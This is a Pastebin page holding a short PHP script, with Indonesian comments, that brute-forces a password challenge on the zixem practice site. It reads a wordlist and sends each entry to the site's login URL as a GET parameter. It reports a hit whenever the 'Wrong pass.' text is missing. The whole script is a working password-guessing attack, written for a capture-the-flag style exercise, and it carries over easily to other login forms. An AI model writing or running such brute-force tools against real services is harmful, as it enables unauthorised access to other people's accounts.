daily pastebin goal
64%
SHARE
TWEET

simple brute for zixem challenge

MouseSec Mar 26th, 2019 101 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2. // MouseSec - Terabithia
  3. // Curl function
  4. function curl($url) {
  5.     $ch = curl_init();
  6.     curl_setopt($ch, CURLOPT_URL, $url);
  7.     curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  8.     curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  9.     $exec = curl_exec($ch);
  10.     return $exec;
  11. }
  12.  
  13. // Mengecek apa ada file wordlist
  14. if(is_file($argv[1])) {
  15.     $file = file($argv[1]);
  16.     foreach ($file as $wordlist) {
  17.         $wordlist = str_replace("\n", "", $wordlist);
  18.         $url = "http://zixem.altervista.org/SQLi/login_do.php?pass=".$wordlist;
  19.         $curl = curl($url);
  20.         // Mengecek jika password salah, maka output adalah Wrong Password!
  21.         if(preg_match("/Wrong pass./", $curl)) {
  22.             print "[!] Wrong Password!\n";
  23.         } else {
  24.             // Jika password benar maka output adalah Password is 'password'
  25.             print "[+] Password is $wordlist\n";
  26.         }
  27.     }
  28. }
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top